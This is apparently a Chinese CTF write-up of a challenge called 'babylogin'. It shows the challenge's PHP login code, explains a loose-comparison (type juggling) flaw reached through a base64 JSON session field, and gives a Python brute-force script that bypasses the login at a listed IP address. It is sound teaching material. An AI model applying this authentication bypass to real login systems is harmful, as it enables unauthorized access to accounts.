年常诈尸,这次水一波刚凑热闹的CTF里遇到的题
话不多说,题目说明如下
babylogin 很正常的登录逻辑,只是... 题目地址:http://114.55.36.69:20780/
界面呢就是这个样子,很常见的界面样式
既然提供了源码,当然是先看看源码了,源码如下
<?php include "config.php"; header("Content-Type:text/html;charset=utf8"); session_start(); if (!empty($_SESSION)&&$_SESSION["login"]==1) { header("Location: admin.php"); exit(); } foreach (array('_GET','_POST','_COOKIE') as $key) { foreach ($$key as $key2 => $value) { $_GPC[$key2]=$value; } } //var_dump($_GPC);exit(); if ($_SERVER["REQUEST_METHOD"]=="GET"){ echo include "outputtpl.php"; }else if($_SERVER["REQUEST_METHOD"]=="POST"){ $userin=addslashes($_POST["name"]); $passin=addslashes($_POST["password"]); $session = json_decode(base64_decode($_GPC['__session']), true); if (is_array($session)){ $user = find_user_by_uid($session['uid']); if(is_array($user) && $session['hash'] == $user['password']){ $_SESSION["login"]=1; $_SESSION["userin"]=$userin; header("Location: admin.php"); exit(); }else{ echo "用户名或密码错误"; } }else{ $sql = "select password from admin where username='$userin'"; $row = mysql_fetch_array(mysql_query($sql)); if($row){ if($row[$passin]==md5($passin)){ $_SESSION["login"]=1; $_SESSION["userin"]=$userin; header("Location: admin.php"); exit(); }else{ echo "用户名或密码错误"; } }else{ echo "用户名或密码错误"; } } }else { echo "GET or POST plz!"; }
看起来很正常的登陆逻辑,对传入的用户名和密码也都进行了addslashes,不过下面却有一个奇怪的session,还是json编码
$session = json_decode(base64_decode($_GPC['__session']), true);
其实有经验/看过相关文章的人应该在这已经意识到了问题,我们接着往下说。
传入的session在经过b64解码和json解码之后给了$session变量,接下来进行uid查库之后比对了密码,如果密码相同则直接登陆成功,确实如题目所说,看起来很正常的逻辑。
if($row[$passin]==md5($passin)){ $_SESSION["login"]=1; $_SESSION["userin"]=$userin; header("Location: admin.php"); exit(); }else{ echo "用户名或密码错误"; }
但是且慢,
if($row[$passin]==md5($passin)){
在这个比对里,使用的是两个等于号,这个比对会忽略两个变量的变量类型,由于php是世界上最好的语言,所以它会允许你比对整型和字符串,但是会造成一个问题,看图。
也就是说,执行整型和字符串比对的时候,php只会比对字符串前的数字,而忽略后面的一堆字符串,这里有个前提,就是必须是整型和字符串比较,并且使用两个等于号,使用三个等于号将会校验变量类型。
然而,php使用$_GET等变量获取参数时,不论输入类型,都是以字符串形式保存,故一般不会被两个等于坑。
然而在这里,由于json_decode的存在,我们可以通过json来传入整数,从而导致绕过这个if
编写一个简单的脚本
# -*- coding:utf-8 -*- import requests, json for uid in range(1,100): for i in range(0,999): r = requests.post('http://114.55.36.69:20780/', data={'__session': json.dumps({'uid':str(uid),'hash':i}).encode("base64")}) if len(r.text) != 8: print 'Seems like we get the data',json.dumps({'uid':str(uid),'hash':i}).encode("base64"),r.text exit() else: print uid,i,'fail, continue...'
跑起来,等一小会,效果如下
成功收获本题flag
好耶 是大佬٩(๑>◡
话不多少,就是一个大神
哇,是大佬的气息 (☆ω☆)